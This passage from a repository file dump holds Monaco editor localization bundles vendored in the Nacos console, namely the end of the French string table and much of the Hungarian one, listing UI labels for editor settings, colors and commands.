avec la souris.\",\"Arrière-plan de l'opération de glisser-déplacer dans une liste/arborescence pendant le déplacement d'éléments avec la souris.\",\"Couleur de premier plan dans la liste/l'arborescence pour la surbrillance des correspondances pendant la recherche dans une liste/arborescence.\",\"Couleur du sélecteur rapide pour les étiquettes de regroupement.\",\"Couleur du sélecteur rapide pour les bordures de regroupement.\",\"Couleur de premier plan du bouton.\",\"Couleur d'arrière-plan du bouton.\",\"Couleur d'arrière-plan du bouton pendant le pointage.\",\"Couleur de fond des badges. Les badges sont de courts libelés d'information, ex. le nombre de résultats de recherche.\",\"Couleur des badges. Les badges sont de courts libelés d'information, ex. le nombre de résultats de recherche.\",\"Ombre de la barre de défilement pour indiquer que la vue défile.\",\"Couleur de fond du curseur de la barre de défilement.\",\"Couleur de fond du curseur de la barre de défilement lors du survol.\",\"Couleur de fond du curseur de la barre de défilement en utilisation.\",\"Couleur de fond pour la barre de progression qui peut s'afficher lors d'opérations longues.\",\"Couleur d'arrière-plan de l'éditeur.\",\"Couleur de premier plan par défaut de l'éditeur.\",\"Couleur d'arrière-plan des gadgets de l'éditeur tels que rechercher/remplacer.\",\"Couleur de bordure des widgets de l'éditeur. La couleur est utilisée uniquement si le widget choisit d'avoir une bordure et si la couleur n'est pas remplacée par un widget.\",\"Couleur de la sélection de l'éditeur.\",\"Couleur du texte sélectionné pour le contraste élevé.\",\"Couleur de la sélection dans un éditeur inactif.\",\"Couleur des régions dont le contenu est identique à la sélection.\",\"Couleur du résultat de recherche actif.\",\"Couleur des autres résultats de recherche.\",\"Couleur de la plage limitant la recherche.\",\"Mettez en surbrillance ci-dessous le mot pour lequel un pointage s'affiche.\",\"Couleur d'arrière-plan du pointage de l'éditeur.\",\"Couleur de bordure du pointage de l'éditeur.\",\"Couleur des liens actifs.\",\"Couleur d'arrière-plan du texte inséré.\",\"Couleur d'arrière-plan du texte supprimé.\",\"Couleur de contour du texte inséré.\",\"Couleur de contour du texte supprimé.\",\"Arrière-plan de l'en-tête actuel dans les conflits de fusion inline.\",\"Arrière-plan du contenu actuel dans les conflits de fusion inline.\",\"Arrière-plan de l'en-tête entrant dans les conflits de fusion inline.\",\"Arrière-plan du contenu entrant dans les conflits de fusion inline.\",\"Arrière-plan de l'en-tête de l'ancêtre commun dans les conflits de fusion inline.\",\"Arrière-plan du contenu de l'ancêtre commun dans les conflits de fusion inline.\",\"Couleur de bordure des en-têtes et du séparateur dans les conflits de fusion inline.\",\"Premier plan de la règle d'aperçu actuelle pour les conflits de fusion inline.\",\"Premier plan de la règle d'aperçu entrante pour les conflits de fusion inline.\",\"Arrière-plan de la règle d'aperçu de l'ancêtre commun dans les conflits de fusion inline.\"]});\n//# sourceMappingURL=../../../min-maps/vs/editor/editor.main.nls.fr.js.map\n"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/editor/editor.main.nls.hu.js",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\ndefine(\"vs/editor/editor.main.nls.hu\",{\"vs/base/browser/ui/actionbar/actionbar\":[\"{0} ({1})\"],\"vs/base/browser/ui/aria/aria\":[\"{0} (ismét előfordult)\"],\"vs/base/browser/ui/findinput/findInput\":[\"bemeneti adat\"],\"vs/base/browser/ui/findinput/findInputCheckboxes\":[\"Kis- és nagybetűk megkülönböztetése\",\"Csak teljes szavas egyezés\",\"Reguláris kifejezés használata\"],\"vs/base/browser/ui/inputbox/inputBox\":[\"Hiba: {0}\",\"Figyelmeztetés: {0}\",\"Információ: {0}\"],\"vs/base/common/keybindingLabels\":[\"Ctrl\",\"Shift\",\"Alt\",\"Windows\",\"Control\",\"Shift\",\"Alt\",\"Parancs\",\"Control\",\"Shift\",\"Alt\",\"Windows\"],\"vs/base/common/severity\":[\"Hiba\",\"Figyelmeztetés\",\"Információ\"],\"vs/base/parts/quickopen/browser/quickOpenModel\":[\"{0}, választó\",\"választó\"],\"vs/base/parts/quickopen/browser/quickOpenWidget\":[\"Gyorsválasztó. Kezdjen el gépelni a találati lista szűkítéséhez!\",\"Gyorsválasztó\"],\"vs/base/parts/tree/browser/treeDefaults\":[\"Összecsukás\"],\"vs/editor/browser/widget/diffEditorWidget\":[\"A fájlok nem hasonlíthatók össze, mert az egyik fájl túl nagy.\"],\"vs/editor/browser/widget/diffReview\":[\"Bezárás\",\"{0}. eltérés, összesen: {1}. Eredeti: {2}., {3}. sorok, módosított: {4}., {5}. sorok\",\"üres\",\"eredeti {0}., módosított {1}.: {2}\",\"+ módosított {0}.: {1}\",\"- eredeti {0}.: {1}\",\"Ugrás a következő eltérésre\",\"Ugrás az előző eltérésre\"],\"vs/editor/common/config/commonEditorConfig\":[\"Szerkesztőablak\",\"Ez a beállítás a betűkészletet határozza meg.\",\"Meghatározza a betűvastagságot.\",\"Meghatározza a betű méretét, pixelekben.\",\"Meghatározza a sormagasságot. A 0 érték használata esetén a sormagasság a fontSize értékéből van számolva.\",\"Meghatározza a betűközt, pixelekben.\",\"Meghatározza, hogy megjelenjenek-e a sorszámok. A lehetséges értékek 'on', 'off' és 'relative'. A 'relative' érték használata esetén a kurzor aktuális pozíciójához képest számított sorszám jelenik meg.\",\"Azon oszlopok listája, ahol függőleges segédvonal jelenjen meg.\",\"Azon karakterek listája, amelyek szóelválasztónak vannak tekintve szavakkal kapcsolatos navigáció vagy műveletek során.\",\"Egy tabulátor hány szóköznek felel meg. Ez a beállítás felülírásra kerül a fájl tartalma alapján, ha az 'editor.detectIndentation' beállítás aktív.\",\"A várt érték 'number' típusú. Megjegyzés: az \\\"auto\\\" értéket az 'editor.detectIndentation' beállítás helyettesíti.\",\"Tabulátor billentyű lenyomásánál szóközök legyenek-e beszúrva.  Ez a beállítás felülírásra kerül a fájl tartalma alapján, ha az 'editor.detectIndentation' beállítás aktív.\",\"A várt érték 'boolean' típusú. Megjegyzés: az \\\"auto\\\" értéket az 'editor.detectIndentation' beállítás helyettesíti.\",\"Fájl megnyitásakor az `editor.tabSize` és az `editor.insertSpaces` értéke a fájl tartalma alapján lesz meghatározva.\",\"Itt adható meg, hogy a kijelölt elemek sarkai lekerekítettek legyenek-e\",\"Meghatározza, hogy a szerkesztőablak görgethető-e az utolsó sor után.\",\"Meghatározza, hogy megjelenjen-e a kódtérkép.\",\"Meghatározza, hogy automatikusan el legyen-e rejtve a kódtérképes görgetősáv.\",\"Meghatározza, hogy a tényleges karakterek legyenek-e megjelenítve (színes téglalapok helyett)\",\"Meghatározza, hogy a kódtérképen legfeljebb hány oszlop legyen kirajzolva.\",\"Meghatározza, hogy a keresés modulba automatikusan bekerüljön-e a szerkesztőablakban kiválasztott szöveg.\",\"Meghatározza, hogy a keresés a kijelölésben beállítás be van-e kapcsolva, ha több karakternyi vagy sornyi szöveg ki van jelölve a szerkesztőablakban.\",\"A sorok soha nem lesznek tördelve.\",\"A sorok tördelve lesznek a nézetablak szélességénél.\",\"A sorok tördelve lesznek az `editor.wordWrapColumn` oszlopnál.\",\"A sorok tördelve lesznek a nézetablak szélességének és az `editor.wordWrapColumn` értékének minimumánál.\",\"Ez a beállítás meghatározza, hogy a sorok hogyan legyenek tördelve. Lehetséges értékek:\\n- 'off' (nincs sortörés)\\n- 'on' (sortörés a nézetablakban)\\n- 'wordWrapColumn' (sortörés az `editor.wordWrapColumn` oszlopnál) vagy\\n- 'bounded' (sortörés az `editor.wordWrapColumn` és a nézetablak minimumánál)\",\"Meghatározza a sortöréshez használt oszlopszámot a szerkesztőablakban, ha az `editor.wordWrap` értéke 'wordWrapColumn' vagy 'bounded'.\",\"Meghatározza a tördelt sorok behúzását. Értéke 'none', 'same' vagy 'indent' lehet.\",\"Az egér görgetési eseményeinél keletkező `deltaX` és `deltaY` paraméterek szorzója\",\"Windows és Linux alatt a `Control`, OSX alatt a `Command` billentyűt jelenti.\",\"Windows és Linux alatt az `Alt`, OSX alatt az `Option` billentyűt jelenti.\",\"Több kurzor hozzáadásához használt módosítóbillentyű. A `ctrlCmd` Windows és Linux alatt a `Control`, OSX alatt a `Command` billentyűt jelenti. A Definíció megkeresése és Hivatkozás megnyitása egérgesztusok automatikusan alkalmazkodnak úgy, hogy ne ütközzenek a többkurzorhoz tartozó módosítóval.\",\"Kiegészítési javaslatok engedélyezése karakterláncokban (stringekben)\",\"Kiegészítési javaslatok engedélyezése megjegyzésekben\",\"Kiegészítési javaslatok engedélyezése karakterláncokon (stringeken) és megjegyzéseken kívül\",\"Meghatározza, hogy automatikusan megjelenjenek-e a javaslatok gépelés közben\",\"Meghatározza, hogy hány ezredmásodperc késleltetéssel jelenjenek meg a kiegészítési javaslatok\",\"Paraméterinformációkat és típusinformációkat tartalmazó felugró ablak engedélyezése gépelés közben\",\"Meghatározza, hogy a szerkesztő automatikusan beszúrja-e a nyitó zárójelek záró párját\",\"Meghatározza, hogy a szerkesztő automatikusan formázza-e a sort a gépelés után\",\"Meghatározza, hogy a szerkesztő automatikusan formázza-e a beillesztett tartalmat. Ehhez szükség van egy formázóra, illetve a formázónak tudnia kell a dokumentum egy részét formázni.\",\"Meghatározza, hogy a szerkesztőablak automatikusan állítsa-e az indentálást miközben a felhasználó gépel, beilleszt vagy mozgatja a sorokat. Az adott nyelv indentálási szabályainak rendelkezésre kell állnia.\",\"Itt adható meg, hogy eseményindító karakterek beírásakor automatikusan megjelenjenek-e a javaslatok\",\"Meghatározza, hogy a javaslatok az 'Enter' gomb leütésére is el legyenek fogadva a 'Tab' mellett. Segít feloldani a bizonytalanságot az új sorok beillesztése és a javaslatok elfogadása között. A 'smart' érték azt jelenti, hogy csak akkor fogadja el a javaslatot az Enter leütése esetén, ha az módosítja a szöveget.\",\"Meghatározza, hogy a javaslaok a zárókarakterek leütésére is el legyenek fogadva. A JavaScriptben például a pontosvessző (';') számít zárókarakternek, leütésére a javaslat elfogadásra kerül és beillesztődik az adott karakter. \",\"A javasolt kódrészletek a többi javaslat előtt jelenjenek meg.\",\"A javasolt kódrészletek a többi javaslat után jelenjenek meg.\",\"A javasolt kódrészletek a többi javaslattal együtt jelenjenek meg.\",\"Ne jelenjenek meg a javasolt kódrészletek.\",\"Meghatározza, hogy a kódtöredékek megjelenjenek-e a javaslatok között, illetve hogy hogyan legyenek rendezve.\",\"Meghatározza, hogy kijelölés nélküli másolás esetén a teljes sor legyen-e másolva.\",\"Meghatározza, hogy a kiegészítések listája a dokumentumban lévő szövegek alapján legyen-e meghatározva.\",\"Az ajánlásokat tartalmazó modul betűmérete\",\"Az ajánlásokat tartalmazó modul sormagassága\",\"Itt adható meg, hogy a szerkesztő kiemelje-e a kijelöléshez hasonló találatokat\",\"Meghatározza, hogy a szerkesztőablakban ki legyenek-e emelve a szimbólum szemantikailag hozzá tartozó előfordulásai.\",\"Meghatározza, hogy hány dekoráció jelenhet meg azonos pozícióban az áttekintő sávon.\",\"Meghatározza, hogy legyen-e kerete az áttekintő sávnak.\",\"Meghatározza a kurzor animációjának stílusát. Lehetséges értékek: 'blink', 'smooth', 'phase', 'expand' vagy 'solid'\",\"A szerkesztőablak betűtípusának nagyítása vagy kicsinyítése az egérgörgő Ctrl lenyomása mellett történő használata esetén\",\"Meghatározza a kurzor stílusát. Lehetséges értékek: 'block', 'block-outline', 'line', 'line-thin', 'underline' vagy 'underline-thin'\",\"Engedélyezi a betűtípusban található ligatúrák használatát\",\"Meghatározza, hogy a kurzor pozíciója el legyen-e rejtve az áttekintő sávon.\",\"Meghatározza, hogy a szerkesztőablakban hogyan legyenek kirajzolva a szóköz karakterek. Lehetséges értékek: 'none', 'boundary', vagy 'all'. A 'boundary' beállítás esetén, ha szavak között egyetlen szóköz található, akkor az nem lesz kirajzolva.\",\"Meghatározza, hogy a szerkesztőablakban ki legyenek-e rajzolva a vezérlőkarakterek.\",\"Meghatározza, hogy a szerkesztőablakban ki legyenek-e rajzolva az indentálási segédvonalak.\",\"Meghatározza, hogy a szerkesztőablakban hogyan legyen kirajzolva az aktuális sor kiemelése. Lehetséges értékek: 'none', 'gutter', 'line', vagy 'all'.\",\"Meghatározza, hogy megjelenjenek-e a kódlencsék\",\"Meghatározza, hogy engedélyezve van-e a kódrészletek bezárása a szerkesztőablakban.\",\"Meghatározza, hogy a kódrészletek bezárásához tartozó vezérlőelemek automatikusan el legyenek-e rejtve.\",\"Zárójel kiválasztása esetén a hozzátartozó zárójel kiemelése.\",\"Meghatározza, hogy legyen-e vertikális szimbólummargó a szerkesztőablakban. A szimbólummargó elsősorban hibakeresésnél van használva.\",\"Szóközök beillesztése és törlése során követve vannak a tabulátorok.\",\"A sorok végén lévő, automatikusan beillesztett szóközök eltávolítása\",\"A betekintőablakok maradjanak nyitva akkor is, ha duplán kattintanak a tartalmára vagy megnyomják az Escape gombot.\",\"Meghatározza, hogy a szerkesztőablakban engedélyezett-e a kijelölt szövegrészletek áhelyezése húzással.\",\"A szerkesztő a platform által biztosított API-kat használja annak megállapításához, hogy van-e képernyőolvasó csatlakoztatva.\",\"A szerkesztő folyamatos képernyőolvasóval való használatára van optimalizálva.\",\"A szerkesztő soha nincs képernyőolvasó használatára optimalizálva.\",\"Meghatározza, hogy a szerkesztő olyan módban fusson-e, ami optimalizálva van képernyőolvasóval való használathoz.\",\"Meghatározza, hogy a szerkesztőablak érzékelje-e a hivatkozásokat, és kattinthatóvá tegye-e őket.\",\"Meghatározza, hogy a differenciaszerkesztő ablakban egymás mellett vagy a sorban jelenjenek meg az eltérések\",\"Meghatározza, hogy a differenciaszerkesztő ablakban megjelenjenek-e a sor elején vagy végén a szóközökben talált különbségek\",\"Meghatározza, hogy a differenciaszerkesztő ablakban megjelenjenek-e a +/- jelzők az hozzáadott/eltávolított változásoknál\",\"Meghatározza-e, hogy támogatva van-e az elsődleges vágólap Linux alatt\"],\"vs/editor/common/config/editorOptions\":[\"A szerkesztőablak jelenleg nem elérhető. Nyomja meg az Alt+F1-et a beállítási lehetőségek megjelenítéséhez!\",\"Szerkesztőablak tartalma\"],\"vs/editor/common/controller/cursor\":[\"Váratlan kivétel egy parancs végrehajtása során.\"],\"vs/editor/common/model/textModelWithTokens\":[\"Ebben az üzemmódban nem sikerült lexikális elemekre bontani a bemenetet.\"],\"vs/editor/common/modes/modesRegistry\":[\"Egyszerű szöveg\"],\"vs/editor/common/services/bulkEdit\":[\"A következő fájlok módosultak időközben: {0}\",\"Nem történtek változtatások\",\"{0} változtatást végzett {0} fájlban\",\"{0} változtatást végzett egy fájlban\"],\"vs/editor/common/services/modelServiceImpl\":[\"[{0}]\\n{1}\",\"[{0}] {1}\"],\"vs/editor/common/view/editorColorRegistry\":[\"A kurzor pozícióján található sor kiemelési háttérszíne.\",\"A kurzor pozícióján található sor keretszíne.\",\"A kiemelt területek háttérszíne, pl. a gyors megnyitás és keresés funkcióknál.\",\"A szerkesztőablak kurzorának színe.\",\"A szerkesztőablak kurzorának háttérszíne. Lehetővé teszik az olyan karakterek színének módosítását, amelyek fölött egy blokk-típusú kurzor áll.\",\"A szerkesztőablakban található szóköz karakterek színe.\",\"A szerkesztőablak segédvonalainak színe.\",\"A szerkesztőablak sorszámainak színe.\",\"A szerkesztőablak sávjainak színe.\",\"A szerkesztőablakban található kódlencsék előtérszíne\",\"Hozzátartozó zárójelek háttérszíne\",\"Az összetartozó zárójelek dobozának színe\",\"Az áttekintő sáv keretszíne.\",\"A szerkesztőablag margójának háttérszíne. A margón található a szimbólummargó és a sorszámok.\",\"A hibákat jelző hullámvonal előtérszíne a szerkesztőablakban.\",\"A hibákat jelző hullámvonal keretszíne a szerkesztőablakban.\",\"A figyelmeztetéseket jelző hullámvonal előtérszíne a szerkesztőablakban.\",\"A figyelmeztetéseket jelző hullámvonal keretszíne a szerkesztőablakban.\"],\"vs/editor/contrib/bracketMatching/common/bracketMatching\":[\"Ugrás a zárójelre\"],\"vs/editor/contrib/caretOperations/common/caretOperations\":[\"Kurzor mozgatása balra\",\"Kurzor mozgatása jobbra\"],\"vs/editor/contrib/caretOperations/common/transpose\":[\"Betűk megcserélése\"],\"vs/editor/contrib/clipboard/browser/clipboard\":[\"Kivágás\",\"Másolás\",\"Beillesztés\",\"Másolás szintaktikai kiemeléssel\"],\"vs/editor/contrib/comment/common/comment\":[\"Egysoros megjegyzés ki-/bekapcsolása\",\"Egysoros megjegyzés hozzáadása\",\"Egysoros megjegyzés eltávolítása\",\"Megjegyzésblokk ki-/bekapcsolása\"],\"vs/editor/contrib/contextmenu/browser/contextmenu\":[\"Szerkesztőablak helyi menüjének megjelenítése\"],\"vs/editor/contrib/find/browser/findWidget\":[\"Keresés\",\"Keresés\",\"Előző találat\",\"Következő találat\",\"Keresés kijelölésben\",\"Bezárás\",\"Csere\",\"Csere\",\"Csere\",\"Az összes előfordulás cseréje\",\"Váltás csere módra\",\"Csak az első 999 találat van kiemelve, de minden keresési művelet a teljes szöveggel dolgozik.\",\"{0} (összesen {1})\",\"Nincs eredmény\"],\"vs/editor/contrib/find/common/findController\":[\"Keresés\",\"Következő találat\",\"Előző találat\",\"Következő kijelölés\",\"Előző kijelölés\",\"Csere\",\"Kijelölés hozzáadása a következő keresési találathoz\",\"Kijelölés hozzáadása az előző keresési találathoz\",\"Utolsó kijelölés áthelyezése a következő keresési találatra\",\"Utolsó kijelölés áthelyezése az előző keresési találatra\",\"Az összes keresési találat kijelölése\",\"Minden előfordulás módosítása\",\"Következő keresési kifejezés megjelenítése\",\"Előző keresési kifejezés megjelenítése\"],\"vs/editor/contrib/folding/browser/folding\":[\"Kibontás\",\"Kibontás rekurzívan\",\"Bezárás\",\"Bezárás rekurzívan\",\"Az összes bezárása\",\"Az összes kinyitása\",\"{0} szintű blokkok bezárása\"],\"vs/editor/contrib/format/browser/formatActions\":[\"Egy formázást végzett a(z) {0}. sorban\",\"{0} formázást végzett a(z) {1}. sorban\",\"Egy formázást végzett a(z) {0}. és {1}. sorok között\",\"{0} formázást végzett a(z) {1}. és {2}. sorok között\",\"Dokumentum formázása\",\"Kijelölt tartalom formázása\"],\"vs/editor/contrib/goToDeclaration/browser/goToDeclarationCommands\":[\"Nem található a(z) '{0}' definíciója\",\"Definíció nem található\",\" – {0} definíció\",\"Ugrás a definícióra\",\"Definíció megnyitása oldalt\",\"Betekintés a definícióba\",\"Nem található a(z) '{0}' implementációja\",\"Implementáció nem található\",\" – {0} implementáció\",\"Ugrás az implementációra\",\"Betekintés az implementációba\",\"Nem található a(z) '{0}' típusdefiníciója\",\"Típusdefiníció nem található\",\" – {0} típusdefiníció\",\"Ugrás a típusdefinícióra\",\"Betekintés a típusdefinícióba\"],\"vs/editor/contrib/goToDeclaration/browser/goToDeclarationMouse\":[\"Kattintson {0} definíció megjelenítéséhez.\"],\"vs/editor/contrib/gotoError/browser/gotoError\":[\"({0}/{1})\",\"Következő hiba vagy figyelmeztetés\",\"Előző hiba vagy figyelmeztetés\",\"A szerkesztőablak jelzőnavigációs moduljának színe hiba esetén.\",\"A szerkesztőablak jelzőnavigációs moduljának színe figyelmeztetés esetén.\",\"A szerkesztőablak jelzőnavigációs moduljának háttérszíne.\"],\"vs/editor/contrib/hover/browser/hover\":[\"Súgószöveg megjelenítése\"],\"vs/editor/contrib/hover/browser/modesContentHover\":[\"Betöltés...\"],\"vs/editor/contrib/inPlaceReplace/common/inPlaceReplace\":[\"Csere az előző értékre\",\"Csere a következő értékre\"],\"vs/editor/contrib/linesOperations/common/linesOperations\":[\"Sor másolása eggyel feljebb\",\"Sor másolása eggyel lejjebb\",\"Sor feljebb helyezése\",\"Sor lejjebb helyezése\",\"Rendezés növekvő sorrendben\",\"Rendezés csökkenő sorrendben\",\"Sor végén található szóközök levágása\",\"Sor törlése\",\"Sor behúzása\",\"Sor kihúzása\",\"Sor beszúrása eggyel feljebb\",\"Sor beszúrása eggyel lejjebb\",\"Balra lévő tartalom törlése\",\"Jobbra lévő tartalom törlése\",\"Sorok egyesítése\",\"A kurzor körüli karakterek felcserélése\",\"Átalakítás nagybetűssé\",\"Átalakítás kisbetűssé\"],\"vs/editor/contrib/links/browser/links\":[\"Hivatkozott oldal megnyitása Cmd + kattintás paranccsal\",\"Hivatkozott oldal megnyitása Ctrl + kattintás paranccsal\",\"Cmd + kattintás a parancs végrehajtásához\",\"Ctrl + kattintás a parancs végrehajtásához\",\"Hivatkozás megnyitása Alt + kattintás paranccsal\",\"Alt + kattintás a parancs végrehajtásához\",\"A hivatkozást nem sikerült megnyitni, mert nem jól formázott: {0}\",\"A hivatkozást nem sikerült megnyitni, hiányzik a célja.\",\"Hivatkozás megnyitása\"],\"vs/editor/contrib/multicursor/common/multicursor\":[\"Kurzor beszúrása egy sorral feljebb\",\"Kurzor beszúrása egy sorral lejjebb\",\"Kurzor beszúrása a sorok végére\"],\"vs/editor/contrib/parameterHints/browser/parameterHints\":[\"Paraméterinformációk megjelenítése\"],\"vs/editor/contrib/parameterHints/browser/parameterHintsWidget\":[\"{0}, információ\"],\"vs/editor/contrib/quickFix/browser/quickFixCommands\":[\"Javítások megjelenítése ({0})\",\"Javítások megjelenítése\",\"Gyorsjavítás\"],\"vs/editor/contrib/referenceSearch/browser/referenceSearch\":[\" – {0} referencia\",\"Minden hivatkozás megkeresése\"],\"vs/editor/contrib/referenceSearch/browser/referencesController\":[\"Betöltés...\"],\"vs/editor/contrib/referenceSearch/browser/referencesModel\":[\"szimbólum a következő helyen: {0}, sor: {1}, oszlop: {2}\",\"Egy szimbólum a következő helyen: {0}, teljes elérési út: {1}\",\"{0} szimbólum a következő helyen: {1}, teljes elérési út: {2}\",\"Nincs találat\",\"Egy szimbólum a következő helyen: {0}\",\"{0} szimbólum a következő helyen: {1}\",\"{0} szimbólum {1} fájlban\"],\"vs/editor/contrib/referenceSearch/browser/referencesWidget\":[\"Nem sikerült feloldani a fájlt.\",\"{0} referencia\",\"{0} referencia\",\"előnézet nem érhető el\",\"Referenciák\",\"Nincs eredmény\",\"Referenciák\",\"A betekintőablak címsorának háttérszíne.\",\"A betekintőablak címének színe.\",\"A betekintőablak címsorában található információ színe.\",\"A betekintőablak keretének és nyilainak színe.\",\"A betekintőablak eredménylistájának háttérszíne.\",\"A betekintőablak eredménylistájában található sorhivatkozások előtérszíne.\",\"A betekintőablak eredménylistájában található fájlhivatkozások előtérszíne.\",\"A betekintőablak eredménylistájában kiválaszott elem háttérszíne.\",\"A betekintőablak eredménylistájában kiválaszott elem előtérszíne.\",\"A betekintőablak szerkesztőablakának háttérszíne.\",\"A betekintőablak szerkesztőablakában található margó háttérszíne.\",\"Kiemelt keresési eredmények színe a betekintőablak eredménylistájában.\",\"Kiemelt keresési eredmények színe a betekintőablak szerkesztőablakában.\"],\"vs/editor/contrib/rename/browser/rename\":[\"Nincs eredmény.\",\"'{0}' sikeresen át lett nevezve a következőre: '{1}'. Összefoglaló: {2}\",\"Az átnevezést nem sikerült végrehajtani.\",\"Szimbólum átnevezése\"],\"vs/editor/contrib/rename/browser/renameInputField\":[\"Átnevezésre szolgáló beviteli mező. Adja meg az új nevet, majd nyomja meg az Enter gombot a változtatások elvégzéséhez.\"],\"vs/editor/contrib/smartSelect/common/smartSelect\":[\"Kijelölés bővítése\",\"Kijelölés szűkítése\"],\"vs/editor/contrib/suggest/browser/suggestController\":[\"A(z) '{0}' elfogadása a következő szöveg beszúrását eredményezte: {1}\",\"Javaslatok megjelenítése\"],\"vs/editor/contrib/suggest/browser/suggestWidget\":[\"A javaslatokat tartalmazó modul háttérszíne.\",\"A javaslatokat tartalmazó modul keretszíne.\",\"A javaslatokat tartalmazó modul előtérszíne.\",\"A javaslatokat tartalmazó modulban kiválasztott elem háttérszíne.\",\"Az illeszkedő szövegrészletek kiemelése a javaslatok modulban.\",\"További információk megjelenítése...{0}\",\"{0}, javaslat, részletekkel\",\"{0}, javaslat\",\"Kevesebb információ megjelenítése...{0}\",\"Betöltés...\",\"Nincsenek javaslatok.\",\"{0}, elfogadva\",\"{0}, javaslat, részletekkel\",\"{0}, javaslat\"],\"vs/editor/contrib/toggleTabFocusMode/common/toggleTabFocusMode\":[\"Tab billentyűvel mozgatott fókusz ki- és bekapcsolása\"],\"vs/editor/contrib/wordHighlighter/common/wordHighlighter\":[\"Szimbólumok háttérszíne olvasási hozzáférés, páldául változó olvasása esetén.\",\"Szimbólumok háttérszíne írási hozzáférés, páldául változó írása esetén.\"],\"vs/editor/contrib/zoneWidget/browser/peekViewWidget\":[\"Bezárás\"],\"vs/editor/standalone/browser/inspectTokens/inspectTokens\":[\"Developer: Inspect Tokens\"],\"vs/editor/standalone/browser/quickOpen/gotoLine\":[\"Go to line {0} and character {1}\",\"Go to line {0}\",\"Type a line number between 1 and {0} to navigate to\",\"Type a character between 1 and {0} to navigate to\",\"Go to line {0}\",\"Type a line number, followed by an optional colon and a character number to navigate to\",\"Go to Line...\"],\"vs/editor/standalone/browser/quickOpen/quickCommand\":[\"{0}, commands\",\"Type the name of an action you want to execute\",\"Command Palette\"],\"vs/editor/standalone/browser/quickOpen/quickOutline\":[\"{0}, symbols\",\"Type the name of an identifier you wish to navigate to\",\"Go to Symbol...\",\"symbols ({0})\",\"modules ({0})\",\"classes ({0})\",\"interfaces ({0})\",\"methods ({0})\",\"functions ({0})\",\"properties ({0})\",\"variables ({0})\",\"variables ({0})\",\"constructors ({0})\",\"calls ({0})\"],\"vs/editor/standalone/browser/standaloneCodeEditor\":[\"Editor content\",\"Press Ctrl+F1 for Accessibility Options.\",\"Press Alt+F1 for Accessibility Options.\"],\"vs/editor/standalone/browser/toggleHighContrast/toggleHighContrast\":[\"Toggle High Contrast Theme\"],\"vs/platform/configuration/common/configurationRegistry\":[\"Felülírt alapértelmezett konfigurációk\",\"A szerkesztő beállításainak felülírása a(z) {0} nyelvre vonatkozóan\",\"A szerkesztő beállításainak felülírása egy adott nyelvre vonatkozóan\",\"A(z) '{0}' nem regisztrálható. Ez a beállítás illeszkedik a '\\\\\\\\[.*\\\\\\\\]$' mintára, ami a nyelvspecifikus szerkesztőbeállításokhoz van használva. Használja a 'configurationDefaults' szolgáltatási lehetőséget.\",\"A(z) '{0}' nem regisztrálható: ez a tulajdonság már regisztrálva van.\"],\"vs/platform/keybinding/common/abstractKeybindingService\":[\"Lenyomta a következőt: ({0}). Várakozás a kombináció második billentyűjére...\",\"A(z) ({0}, {1}) billentyűkombináció nem egy parancs.\"],\"vs/platform/message/common/message\":[\"Bezárás\",\"Később\",\"Mégse\"],\"vs/platform/theme/common/colorRegistry\":[\"Érvénytelen színformátum. Az #RGB, #RGBA, #RRGGBB vagy #RRGGBBAA formátum használható.\",\"A munkaterületen használt színek.\",\"Általános előtérszín. Csak akkor van használva, ha nem írja felül az adott komponens.\",\"A hibaüzenetek általános előtérszíne. Csak akkor van használva, ha nem írja felül az adott komponens.\",\"A további információkat szolgáltató leíró szövegek, pl. a címkék előtérszíne.\",\"Fókuszált elemek keretének általános színe. Csak akkor van használva, ha nem írja felül az adott komponens.\",\"Az elemek körüli extra keret, mely arra szolgál, hogy elválassza egymástól őket, így növelve a kontrasztot.\",\"Az aktív elemek körüli extra keret, mely arra szolgál, hogy elválassza egymástól őket, így növelve a kontrasztot.\",\"A munkaterületen kijelölt szövegek háttérszíne (pl. beviteli mezők vagy szövegmezők esetén). Ez a beállítás nem vonatkozik a szerkesztőablakban végzett kijelölésekre. \",\"A szövegelválasztók színe.\",\"A szövegben található hivatkozások előtérszíne.\",\"A szövegben található aktív hivatkozások előtérszíne.\",\"Az előformázott szövegrészek előtérszíne.\",\"A szövegben található idézetblokkok háttérszíne.\",\"A szövegben található idézetblokkok keretszíne.\",\"A szövegben található kódblokkok háttérszíne.\",\"A szerkesztőablakon belül található modulok, pl. a keresés/csere árnyékának színe.\",\"A beviteli mezők háttérszíne.\",\"A beviteli mezők előtérszíne.\",\"A beviteli mezők kerete.\",\"A beviteli mezőben található aktivált beállítások keretszíne.\",\"A beviteli mezőkben használt helykitöltő szövegek előtérszíne.\",\"Beviteli mezők háttérszíne információs szintű validációs állapot esetén.\",\"Beviteli mezők keretszíne információs szintű validációs állapot esetén.\",\"Beviteli mezők háttérszíne figyelmeztetés szintű validációs állapot esetén.\",\"Beviteli mezők keretszíne figyelmeztetés szintű validációs állapot esetén.\",\"Beviteli mezők háttérszíne hiba szintű validációs állapot esetén.\",\"Beviteli mezők keretszíne hiba szintű validációs állapot esetén.\",\"A legördülő menük háttérszíne.\",\"A legördülő menük előtérszíne.\",\"A legördülő menük kerete.\",\"Listák/fák fókuszált elemének háttérszine, amikor a lista aktív. Egy aktív listának/fának van billentyűfőkusza, míg egy inaktívnak nincs.\",\"Listák/fák fókuszált elemének előtérszíne, amikor a lista aktív. Egy aktív listának/fának van billentyűfőkusza, míg egy inaktívnak nincs.\",\"Listák/fák kiválasztott elemének háttérszíne, amikor a lista aktív. Egy aktív listának/fának van billentyűfőkusza, míg egy inaktívnak nincs.\",\"Listák/fák kiválasztott elemének előtérszíne, amikor a lista aktív. Egy aktív listának/fának van billentyűfőkusza, míg egy inaktívnak nincs.\",\"Listák/fák kiválasztott elemének háttérszíne, amikor a lista inaktív. Egy aktív listának/fának van billentyűfőkusza, míg egy inaktívnak nincs.\",\"Listák/fák kiválasztott elemének előtérszíne, amikor a lista inaktív. Egy aktív listának/fának van billentyűfőkusza, míg egy inaktívnak nincs.\",\"Listák/fák kiválasztott elemének háttérszíne, amikor a lista inaktív. Egy aktív 